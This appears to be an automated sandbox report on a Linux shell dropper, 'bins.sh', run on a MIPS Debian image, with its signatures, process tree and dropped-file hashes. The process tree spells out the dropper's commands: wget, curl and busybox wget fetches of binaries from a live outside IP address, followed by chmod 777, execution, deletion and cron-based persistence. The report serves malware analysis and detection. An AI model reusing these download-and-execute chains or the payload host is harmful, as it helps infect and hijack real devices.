Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10-11-2024 01:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f0f4868aeaf3ef472470cdf9c3196646

  • SHA1

    4accc751d722b39cdca1ff7a5f366ee910897677

  • SHA256

    6a7f9557ab00824cc2c3f3fe1db071a5efe8cc09bea4df9141d44938ecde8df9

  • SHA512

    b9d9868fde0a47ba003643f56140c2d15341dc4f2472dd4da8e7c17fc4ac1404c7e1e30089741902a3c3b15fbfd716dae7aac15df4674541bce8b84e11b83332

  • SSDEEP

    192:Ew8MZhcRhpyNdSai3L7Y6aszfLv+ocLSai3LY6aszfzJw8MZhENhpg:Ew8MZhc6CBvhHw8MZhEK

Malware Config

Signatures

  • Contacts a large (1439) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          ./wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://216.126.231.240/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            ./KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://216.126.231.240/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Writes file to tmp directory
              PID:749
            • /bin/chmod
              chmod 777 k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              ./k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/rm
              rm k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://216.126.231.240/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:757
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:759
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Writes file to tmp directory
                PID:769
              • /bin/chmod
                chmod 777 MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • File and Directory Permissions Modification
                PID:773
              • /tmp/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                ./MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                • Executes dropped EXE
                PID:774
              • /bin/rm
                rm MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS
                2⤵
                  PID:777
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Writes file to tmp directory
                  PID:779
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Writes file to tmp directory
                  PID:787
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Writes file to tmp directory
                  PID:795
                • /bin/chmod
                  chmod 777 tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:801
                • /tmp/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  ./tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                  • Executes dropped EXE
                  PID:802
                • /bin/rm
                  rm tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA
                  2⤵
                    PID:807
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:816
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Writes file to tmp directory
                    PID:818
                  • /bin/chmod
                    chmod 777 QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:819
                  • /tmp/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    ./QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:820
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:822
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:823
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:824
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:825
                        • /bin/rm
                          rm QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ
                          2⤵
                            PID:827
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                            2⤵
                              PID:881
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                              2⤵
                                PID:911
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                • Writes file to tmp directory
                                PID:912
                              • /bin/chmod
                                chmod 777 IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                • File and Directory Permissions Modification
                                PID:913
                              • /tmp/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                ./IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                • Executes dropped EXE
                                PID:914
                              • /bin/rm
                                rm IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd
                                2⤵
                                  PID:916
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                  2⤵
                                    PID:917
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/yqK7vGqzSR0sfggzotJhm4EupCFAAlcjbu
                                    2⤵
                                      PID:918

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/IfQzDbpH3k4a52gqcdTKQD2HSmomChCuZd

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /tmp/KvH3UoksRRYPVQBB5h446C1JLpGoKMsui6

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/MTCQU3BqIJPZh58hmGcaOIo4s9qVOpQUaS

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/QxDLp4YZ0P88VbRU27iIX3zraLMxtBlUqZ

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/k4a2H5JjVqUo2GgKWbw4m4mFhkXN4lfQBE

                                    Filesize

                                    117KB

                                    MD5

                                    849fa04ef88a8e8de32cb2e8538de5fe

                                    SHA1

                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                    SHA256

                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                    SHA512

                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                  • /tmp/tY4qlt8J5NilOeNy0I0EYHjjYOtZkuaaSA

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/wbTbgzmYogpF1wP9oFHBEpjvYkkfEjh681

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /var/spool/cron/crontabs/tmp.PYnxlf

                                    Filesize

                                    210B

                                    MD5

                                    c769820516ed91e68e762453f01aedd0

                                    SHA1

                                    3e0bb554c6e2f3316a9c45ab769b05444798bb71

                                    SHA256

                                    e19878b4ae2eec5ba8a7c16db04e020355dee08073cc6fc8cffb6163d9cd52c5

                                    SHA512

                                    451e3f2dbf413f0ddada25665b271f13f34eb23f834e7ace4576a0f9bf5d30dc2c25670342c4ac78661d55b8180811192dbe3726e389de26298a094c51138daf